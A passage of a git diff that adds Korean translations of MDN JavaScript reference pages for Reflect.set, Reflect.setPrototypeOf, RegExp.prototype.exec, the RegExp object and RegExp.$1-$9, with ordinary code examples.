+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.set()</code> 메서드는 객체 속성의 값을 설정할 수 있습니다. 속성 추가도 할 수 있으며, 함수라는 점을 제외하면 동작 방식은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a>와 같습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.set()_사용하기"><code>Reflect.set()</code> 사용하기</h3>
+
+<pre class="brush: js">// Object
+var obj = {};
+Reflect.set(obj, 'prop', 'value'); // true
+obj.prop; // "value"
+
+// Array
+var arr = ['duck', 'duck', 'duck'];
+Reflect.set(arr, 2, 'goose'); // true
+arr[2]; // "goose"
+
+// 배열 자르기
+Reflect.set(arr, 'length', 1); // true
+arr; // ["duck"];
+
+// 매개변수를 하나만 제공하면 속성 키 이름은 문자열 "undefined", 값은 undefined
+var obj = {};
+Reflect.set(obj); // true
+Reflect.getOwnPropertyDescriptor(obj, 'undefined');
+// { value: undefined, writable: true, enumerable: true, configurable: true }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-reflect.set', 'Reflect.set')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.set', 'Reflect.set')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.set")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/setprototypeof/index.html b/files/ko/web/javascript/reference/global_objects/reflect/setprototypeof/index.html
new file mode 100644
index 0000000000..3e97b9b385
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/setprototypeof/index.html
@@ -0,0 +1,88 @@
+---
+title: Reflect.setPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><code><strong>Reflect</strong></code><strong><code>.setPrototypeOf()</code></strong> 정적 메서드는 주어진 객체의 프로토타입(내부 <code>[[Prototype]]</code> 속성)을 다른 객체나 {{jsxref("null")}}로 바꿉니다.</span> 반환 값을 제외하면 {{jsxref("Object.setPrototypeOf()")}} 메서드와 같습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-setprototypeof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.setPrototypeOf(<em>target</em>, <em>prototype</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>프로토타입을 지정할 대상 객체.</dd>
+ <dt><code>prototype</code></dt>
+ <dd>대상 객체의 새로운 프로토타입. (객체 또는 {{jsxref("null")}}</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>프로토타입 설정 성공 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니거나, <code>prototype</code>이 객체도 {{jsxref("null")}}도 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.setPrototypeOf()</code> 메서드는 주어진 객체의 프로토타입(즉, 내부 <code>[[Prototype]]</code> 속성)을 변경합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.setPrototypeOf_사용하기"><code>Reflect.setPrototypeOf()</code> 사용하기</h3>
+
+<pre class="brush: js">Reflect.setPrototypeOf({}, Object.prototype); // true
+
+// It can change an object's [[Prototype]] to null.
+Reflect.setPrototypeOf({}, null); // true
+
+// Returns false if target is not extensible.
+Reflect.setPrototypeOf(Object.freeze({}), null); // false
+
+// Returns false if it cause a prototype chain cycle.
+const target = {};
+const proto = Object.create(target);
+Reflect.setPrototypeOf(target, proto); // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.setprototypeof', 'Reflect.setPrototypeOf')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.setPrototypeOf")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/regexp/exec/index.html b/files/ko/web/javascript/reference/global_objects/regexp/exec/index.html
new file mode 100644
index 0000000000..4659688c51
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/regexp/exec/index.html
@@ -0,0 +1,188 @@
+---
+title: RegExp.prototype.exec()
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/exec
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - RegExp
+ - 정규 표현식
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/exec
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>exec()</code></strong> 메서드는 주어진 문자열에서 일치 탐색을 수행한 결과를 배열 혹은 {{jsxref("null")}}로 반환합니다.</p>
+
+<p>JavaScript {{jsxref("RegExp")}} 객체는 {{jsxref("RegExp.global", "global")}} 또는 {{jsxref("RegExp.sticky", "sticky")}} 플래그를 설정(<code>/foo/g</code>, <code>/foo/y</code> 등)한 경우 이전 일치의 인덱스를 저장하므로 <strong>상태를 가지고</strong>(stateful) 있습니다. 이를 내부적으로 사용하여, {{jsxref("String.prototype.match()")}}와는 다르게 (캡처 그룹을 포함한) 문자열 내의 일치 다수를 반복해 순회할 수 있습니다.</p>
+
+<p>(캡처 그룹을 포함한) 문자열 내의 다수 일치를 수행할 수 있는 보다 간편한 신규 메서드,  {{jsxref("String.prototype.matchAll()")}}이 제안된 상태입니다.</p>
+
+<p>단순히 <code>true</code>/<code>false</code>가 필요한 경우 {{jsxref("RegExp.prototype.text()")}} 메서드 혹은 {{jsxref("String.prototype.search()")}}를 사용하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-exec.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><var>regexObj</var>.exec(<var>str</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>정규 표현식 검색을 수행할 대상 문자열.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>정규 표현식이 일치하면, <code>exec()</code> 메서드는 배열(추가 속성 <code>index</code>와 <code>input</code> 포함, 아래 설명을 참고하세요)을 반환하고, 정규 표현식 객체의 {{jsxref("RegExp.lastIndex", "lastIndex")}} 속성을 업데이트합니다. 반환하는 배열은 일치한 텍스트를 첫 번째 원소로, 각각의 괄호 캡처 그룹을 이후 원소로 포함합니다.</p>
+
+<p>정규표현식 검색에 실패하면, <code>exec()</code> 메서드는 {{jsxref("null")}}을 반환하고 {{jsxref("RegExp.lastIndex", "lastIndex")}}를 <code>0</code>으로 설정합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>다음과 같은 예제를 고려해보세요.</p>
+
+<pre class="brush: js notranslate">// Match "quick brown" followed by "jumps", ignoring characters in between
+// Remember "brown" and "jumps"
+// Ignore case
+let re = /quick\s(brown).+?(jumps)/ig;
+let result = re.exec('The Quick Brown Fox Jumps Over The Lazy Dog');</pre>
+
+<p>다음의 표는 이 스크립트의 결과에 대해 보여줍니다.</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+ <tr>
+ <th scope="row">객체</th>
+ <th scope="col">속성/인덱스</th>
+ <th scope="col">설명</th>
+ <th scope="col">예제</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th colspan="1" rowspan="4" scope="row" style="vertical-align: top;"><code>result</code></th>
+ <td><code>[0]</code></td>
+ <td>일치한 전체 문자.</td>
+ <td><code>"Quick Brown Fox Jumps"</code></td>
+ </tr>
+ <tr>
+ <td><code>[1], ...[<var>n</var>]</code></td>
+ <td>
+ <p>(존재하는 경우) 괄호로 감싼 부분문자열.</p>
+
+ <p>괄호로 감싼 부분문자열 숫자의 제한은 없습니다.</p>
+ </td>
+ <td>
+ <p><code>result[1] === "Brown"</code></p>
+
+ <p><code>result[2] === "Jumps"</code></p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>index</code></td>
+ <td>일치가 문자열에서 위치하는 인덱스. (0 시작)</td>
+ <td><code>4</code></td>
+ </tr>
+ <tr>
+ <td><code>input</code></td>
+ <td>원본 문자열.</td>
+ <td><code>"The Quick Brown Fox Jumps Over The Lazy Dog"</code></td>
+ </tr>
+ <tr>
+ <th colspan="1" rowspan="5" scope="row" style="vertical-align: top;"><code>re</code></th>
+ <td><code>lastIndex</code></td>
+ <td>
+ <p>다음 일치를 시작할 인덱스.</p>
+
+ <p><code>g</code>를 누락하면 항상 <code>0</code>입니다.</p>
+ </td>
+ <td><code>25</code></td>
+ </tr>
+ <tr>
+ <td><code>ignoreCase</code></td>
+ <td><code>i</code> 플래그로 대소문자를 무시했는지 여부.</td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>global</code></td>
+ <td><code>g</code> 플래그로 전역 일치를 수행하는지 여부.</td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>multiline</code></td>
+ <td><code>m</code> 플래그로 여러 줄에 걸친 탐색을 수행하는지 여부.</td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>source</code></td>
+ <td>패턴 문자열.</td>
+ <td><code>"quick\s(brown).+?(jumps)"</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Finding_successive_matches">Finding successive matches</h3>
+
+<p>If your regular expression uses the "<code>g</code>" flag, you can use the <code>exec()</code> method multiple times to find successive matches in the same string. When you do so, the search starts at the substring of <code>str</code> specified by the regular expression's {{jsxref("RegExp.lastIndex", "lastIndex")}} property ({{jsxref("RegExp.prototype.test()", "test()")}} will also advance the {{jsxref("RegExp.lastIndex", "lastIndex")}} property). For example, assume you have this script:</p>
+
+<pre class="brush: js notranslate">var myRe = /ab*/g;
+var str = 'abbcdefabh';
+var myArray;
+while ((myArray = myRe.exec(str)) !== null) {
+ var msg = 'Found ' + myArray[0] + '. ';
+ msg += 'Next match starts at ' + myRe.lastIndex;
+ console.log(msg);
+}
+</pre>
+
+<p>This script displays the following text:</p>
+
+<pre class="notranslate">Found abb. Next match starts at 3
+Found ab. Next match starts at 9
+</pre>
+
+<p>Note: Do not place the regular expression literal (or {{jsxref("RegExp")}} constructor) within the <code>while</code> condition or it will create an infinite loop if there is a match due to the {{jsxref("RegExp.lastIndex", "lastIndex")}} property being reset upon each iteration. Also be sure that the global flag is set or a loop will occur here also.</p>
+
+<h3 id="Using_exec_with_RegExp_literals">Using <code>exec()</code> with <code>RegExp</code> literals</h3>
+
+<p>You can also use <code>exec()</code> without creating a {{jsxref("RegExp")}} object:</p>
+
+<pre class="brush: js notranslate">var matches = /(hello \S+)/.exec('This is a hello world!');
+console.log(matches[1]);
+</pre>
+
+<p>This will log a message containing 'hello world!'.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-regexp.prototype.exec', 'RegExp.exec')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp.exec")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a> chapter in the <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/regexp/index.html b/files/ko/web/javascript/reference/global_objects/regexp/index.html
new file mode 100644
index 0000000000..541d3585db
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/regexp/index.html
@@ -0,0 +1,233 @@
+---
+title: RegExp
+slug: Web/JavaScript/Reference/Global_Objects/RegExp
+tags:
+ - Constructor
+ - JavaScript
+ - Reference
+ - RegExp
+ - 정규 표현식
+ - 정규식
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>RegExp</code></strong> 생성자는 패턴을 사용해 텍스트를 판별할 때 사용합니다.</p>
+
+<p>정규 표현식에 대한 소개는 <a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript 안내서의 정규 표현식 장</a>을 참고하세요.</p>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="리터럴_표기법과_생성자">리터럴 표기법과 생성자</h3>
+
+<p><code>RegExp</code> 객체는 리터럴 표기법과 생성자로써 생성할 수 있습니다.</p>
+
+<ul>
+ <li><strong>리터럴 표기법</strong>의 매개변수는 두 빗금으로 감싸야 하며 따옴표를 사용하지 않습니다.</li>
+ <li><strong>생성자 함수</strong>의 매개변수는 빗금으로 감싸지 않으나 따옴표를 사용합니다.</li>
+</ul>
+
+<p>다음의 세 표현식은 모두 같은 정규 표현식을 생성합니다.</p>
+
+<pre class="brush: js notranslate">/ab+c/i
+new RegExp(/ab+c/, 'i') // 리터럴
+new RegExp('ab+c', 'i') // 생성자
+</pre>
+
+<p>리터럴 표기법은 표현식을 평가할 때 정규 표현식을 컴파일합니다. 정규 표현식이 변하지 않으면 리터럴 표기법을 사용하세요. 예를 들어, 반복문 안에서 사용할 정규 표현식을 리터럴 표기법으로 생성하면 정규 표현식을 매번 다시 컴파일하지 않습니다.</p>
+
+<p>정규 표현식 객체의 생성자(<code>new RegExp('ab+c')</code>)를 사용하면 정규 표현식이 런타임에 컴파일됩니다. 패턴이 변할 가능성이 있거나, 사용자 입력과 같이 알 수 없는 외부 소스에서 가져오는 정규 표현식의 경우 생성자 함수를 사용하세요.</p>
+
+<h3 id="생성자의_플래그">생성자의 플래그</h3>
+
+<p>ECMAScript 6부터는 <code>new RegExp(/ab+c/, 'i')</code>처럼, 첫 매개변수가 <code>RegExp</code>이면서 <code>flags</code>를 지정해도 {{jsxref("TypeError")}} (<code>"can't supply flags when constructing one RegExp from another"</code>)가 발생하지 않고, 매개변수로부터 새로운 정규 표현식을 생성합니다.</p>
+
+<p>생성자 함수를 사용할 경우 보통의 문자열 이스케이프 규칙(특수 문자를 문자열에 사용할 때 앞에 역빗금(<code>\</code>)을 붙이는 것)을 준수해야 합니다.</p>
+
+<p>예를 들어 다음 두 줄은 동일한 정규 표현식을 생성합니다.</p>
+
+<pre class="brush: js notranslate">let re = /\w+/
+let re = new RegExp('\\w+')</pre>
+
+<h3 id="Perl_형태의_RegExp_속성">Perl  형태의 <code>RegExp</code> 속성</h3>
+
+<p>일부 {{JSxRef("RegExp")}} 속성은 같은 값에 대해 긴 이름과 짧은 (Perl 형태의) 이름 모두 가지고 있습니다. (Perl은 JavaScript가 정규 표현식을 만들 때 참고한 프로그래밍 언어입니다.)<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#RegExp_Properties">  사용하지 않는 <code>RegExp</code> 속성</a>을 참고하세요.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("RegExp/RegExp", "RegExp()")}}</dt>
+ <dd>새로운 <code>RegExp</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="정적_속성">정적 속성</h2>
+
+<dl>
+ <dt>{{jsxref("RegExp.@@species", "get RegExp[@@species]")}}</dt>
+ <dd>파생 객체를 생성할 때 사용하는 생성자입니다.</dd>
+ <dt>{{jsxref("RegExp.lastIndex")}}</dt>
+ <dd>다음 판별을 시작할 인덱스입니다.</dd>
+</dl>
+
+<h2 id="인스턴스_속성">인스턴스 속성</h2>
+
+<dl>
+ <dt>{{JSxRef("RegExp.prototype.flags")}}</dt>
+ <dd><code>RegExp</code> 객체의 플래그를 담은 문자열입니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.dotAll")}}</dt>
+ <dd><code>.</code>이 줄 바꿈에 일치하는지 여부를 나타냅니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.global")}}</dt>
+ <dd>정규 표현식이 문자열 내에서 가능한 모든 경우에 일치하는지, 아니면 최초에 대해서만 일치하는지 나타냅니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.ignoreCase")}}</dt>
+ <dd>문자열의 대소문자를 구분하는지 나타냅니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.multiline")}}</dt>
+ <dd>여러 줄에 걸쳐 탐색할 것인지 나타냅니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.source")}}</dt>
+ <dd>패턴을 나타내는 문자열입니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.sticky")}}</dt>
+ <dd>검색이 접착(sticky)되어있는지 나타냅니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.unicode")}}</dt>
+ <dd>Unicode 기능의 활성화 여부입니다.</dd>
+</dl>
+
+<h2 id="인스턴스_메서드">인스턴스 메서드</h2>
+
+<dl>
+ <dt>{{JSxRef("RegExp.prototype.compile()")}}</dt>
+ <dd>스크립트 실행 중 정규 표현식을 (다시) 컴파일합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.exec()")}}</dt>
+ <dd>문자열 매개변수에 대해 검색을 실행합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.test()")}}</dt>
+ <dd>문자열 매개변수에 대해 판별을 실행합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.toString()")}}</dt>
+ <dd>객체의 문자열 표현을 반환합니다. {{JSxRef("Object.prototype.toString()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}</dt>
+ <dd>주어진 문자열에 대해 일치하는 결과를 반환합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@matchAll()", "RegExp.prototype[@@matchAll]()")}}</dt>
+ <dd>주어진 문자열에 대해 일치하는 모든 결과를 반환합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}</dt>
+ <dd>주어진 문자열 내의 일치를 새로운 문자열로 대치합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}</dt>
+ <dd>주어진 문자열에 대해 일치하는 인덱스를 반환합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}</dt>
+ <dd>주어진 문자열을 분할해 배열로 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="정규_표현식을_사용해서_데이터_형식_바꾸기">정규 표현식을 사용해서 데이터 형식 바꾸기</h3>
+
+<p>다음 스크립트에서는 {{jsxref("String")}} 객체의 {{jsxref("String.prototype.replace()", "replace()")}} 메서드를 사용하여 <em>이름 성씨</em> 형태의 이름을 <em>성씨, 이름</em> 형태 바꿔 반환합니다.</p>
+
+<p>대치 문자열에는 <code>$1</code>과 <code>$2</code>를 사용하여 정규 표현식 패턴의 각 괄호에 일치한 결과를 받아옵니다.</p>
+
+<pre class="brush: js notranslate">let re = /(\w+)\s(\w+)/
+let str = 'John Smith'
+let newstr = str.replace(re, '$2, $1')
+console.log(newstr)</pre>
+
+<p>실행 결과는 <code>"Smith, John"</code>입니다.</p>
+
+<h3 id="정규_표현식을_사용해서_여러_가지_줄_바꿈_문자가_있는_문자열_나누기">정규 표현식을 사용해서 여러 가지 줄 바꿈 문자가 있는 문자열 나누기</h3>
+
+<p>기본 줄 바꿈 문자는 플랫폼(Unix, Windows 등)마다 다릅니다. 아래의 분할 스크립트는 모든 플랫폼의 줄 바꿈을 인식합니다.</p>
+
+<pre class="brush: js notranslate">let text = 'Some text\nAnd some more\r\nAnd yet\rThis is the end'
+let lines = text.split(/\r\n|\r|\n/)
+console.log(lines) // logs [ 'Some text', 'And some more', 'And yet', 'This is the end' ]</pre>
+
+<p>정규 표현식 패턴의 순서를 바꾸면 작동하지 않을 수 있습니다.</p>
+
+<h3 id="여러_줄에서_정규_표현식_사용하기">여러 줄에서 정규 표현식 사용하기</h3>
+
+<pre class="brush: js notranslate">let s = 'Please yes\nmake my day!'
+
+s.match(/yes.*day/);
+// Returns null
+
+s.match(/yes[^]*day/);
+// Returns ["yes\nmake my day"]</pre>
+
+<h3 id="접착_플래그와_함께_사용하기">접착 플래그와 함께 사용하기</h3>
+
+<p>{{JSxRef("Global_Objects/RegExp/sticky", "sticky")}} 플래그는 해당 정규 표현식이 접착 판별, 즉 {{jsxref("RegExp.prototype.lastIndex")}}에서 시작하는 일치만 확인하도록 할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">let str = '#foo#'
+let regex = /foo/y
+
+regex.lastIndex = 1
+regex.test(str) // true
+regex.lastIndex = 5
+regex.test(str) // false (lastIndex is taken into account with sticky flag)
+regex.lastIndex // 0 (reset after match failure)</pre>
+
+<h3 id="접착과_전역_플래그의_차이">접착과 전역 플래그의 차이</h3>
+
+<p>접착 플래그 <code>y</code>의 일치는 정확히 <code>lastIndex</code> 위치에서만 발생할 수 있으나, 전역 플래그 <code>g</code>의 경우 <code>lastIndex</code> 또는 그 이후에서도 발생할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">re = /\d/y;
+while (r = re.exec("123 456")) console.log(r, "AND re.lastIndex", re.lastIndex);
+
+// [ '1', index: 0, input: '123 456', groups: undefined ] AND re.lastIndex 1
+// [ '2', index: 1, input: '123 456', groups: undefined ] AND re.lastIndex 2
+// [ '3', index: 2, input: '123 456', groups: undefined ] AND re.lastIndex 3
+// ... and no more match.</pre>
+
+<p>전역 플래그 <code>g</code>를 사용했다면, 3개가 아니고 6개 숫자 모두 일치했을 것입니다.</p>
+
+<h3 id="정규_표현식과_Unicode_문자">정규 표현식과 Unicode 문자</h3>
+
+<p> <code>\w</code>와 <code>\W</code>는 <code>a</code>부터 <code>z</code>, <code>A</code>부터 <code>Z</code>, <code>0</code>부터 <code>9</code> <code>_</code> 등의 {{glossary("ASCII")}} 문자에만 일치합니다.</p>
+
+<p>러시아어나 히브리어와 같은 다른 언어의 문자까지 일치하려면 <code>\uhhhh</code>(이때 hhhh는 해당 문자의 16진법 Unicode 값) 문법을 사용하세요. 아래 예제에서는 문자열에서 Unicode 문자를 추출합니다.</p>
+
+<pre class="brush: js notranslate">let text = 'Образец text на русском языке'
+let regex = /[\u0400-\u04FF]+/g
+
+let match = regex.exec(text)
+console.log(match[0]) // logs 'Образец'
+console.log(regex.lastIndex) // logs '7'
+
+let match2 = regex.exec(text)
+console.log(match2[0]) // logs 'на' [did not log 'text']
+console.log(regex.lastIndex) // logs '15'
+
+// and so on</pre>
+
+<p><a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes">유니코드 속성 이스케이프</a> 기능을 사용해 <code>\p{scx=Cyrl}</code>과 같은 간단한 구문으로 이 문제를 해결할 수 있습니다.</p>
+
+<h3 id="URL에서_서브도메인_추출하기">URL에서 서브도메인 추출하기</h3>
+
+<pre class="brush: js notranslate">let url = 'http://xxx.domain.com'
+console.log(/[^.]+/.exec(url)[0].substr(7)) // logs 'xxx'</pre>
+
+<div class="blockIndicator note">
+<p>이 때는 정규표현식보단 <a href="/ko/docs/Web/API/URL_API">URL API</a>를 통해 브라우저에 내장된 URL 구문 분석기를 사용하는 것이 좋습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-regexp-regular-expression-objects', 'RegExp')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("javascript.builtins.RegExp")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript 안내서의 정규 표현식 장</a></li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.replace()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/regexp/n/index.html b/files/ko/web/javascript/reference/global_objects/regexp/n/index.html
new file mode 100644
index 0000000000..5b6706cad2
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/regexp/n/index.html
@@ -0,0 +1,66 @@
+---
+title: RegExp.$1-$9
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/n
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/n
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>비표준 <strong>$1, $2, $3, $4, $5, $6, $7, $8, $9 </strong>속성들은 정적이며, 괄호로 묶인 하위 문자열 match들을 포함하는 정규 표현식의 읽기 전용 속성들입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>RegExp</var>.$1
+RegExp.$2</code>
+RegExp.$3
+RegExp.$4
+RegExp.$5
+RegExp.$6
+RegExp.$7
+RegExp.$8
+RegExp.$9
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>$1, ..., $9 properties are static, they are not a property of an individual regular expression object. Instead, you always use them as <code>RegExp.$1</code>, ..., <code>RegExp.$9</code>.</p>
+
+<p>The values of these properties are read-only and modified whenever successful matches are made.</p>
+
+<p>The number of possible parenthesized substrings is unlimited, but the <code>RegExp</code> object can only hold the first nine. You can access all parenthesized substrings through the returned array's indexes.</p>
+
+<p>These properties can be used in the replacement text for the {{jsxref("String.replace")}} method. When used this way, do not prepend them with <code>RegExp</code>. The example below illustrates this. When parentheses are not included in the regular expression, the script interprets <code>$n</code>'s literally (where <code>n</code> is a positive integer).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_n_with_String.replace">Using <code>$n</code> with <code>String.replace</code></h3>
+
+<p>아래의 script는 first last 포맷의 이름과 매치하기 위해 {{jsxref("String")}} 인스턴스의 {{jsxref("String.prototype.replace()", "replace()")}} 메소드를 사용하고 그것을 last, first 포맷으로 출력한다. 대체 텍스트에서, 이 script는 정규 표현식 패턴에서 매칭되는 괄호들에 해당하는 결과들을 나타내는 <code>$1</code> 과 <code>$2</code> 를 사용한다.</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var str = 'John Smith';
+str.replace(re, '$2, $1'); // "Smith, John"
+RegExp.$1; // "John"
+RegExp.$2; // "Smith"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Non-standard. Not part of any current specification.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp.n")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&amp;)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/regexp/regexp/index.html b/files/ko/web/javascript/reference/global_objects/regexp/regexp/index.html
new file mode 100644
index 0000000000..387b5bceff
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/regexp/regexp/index.html
@@ -0,0 +1,114 @@
+---
+title: RegExp() constructor
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/RegExp
+tags:
+ - Constructor
+ - JavaScript
+ - Reference
+ - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/RegExp
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>RegExp</code></strong> 생성자는 패턴을 사용해 텍스트를 판별할 때 사용하는 정규 표현식 객체를 생성합니다.</p>
+
+<p>정규 표현식에 대한 소개는 <a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript 안내서의 정규 표현식 장</a>을 참고하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-constructor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p>리터럴, 생성자, 팩토리 표기법이 가능합니다.</p>
+
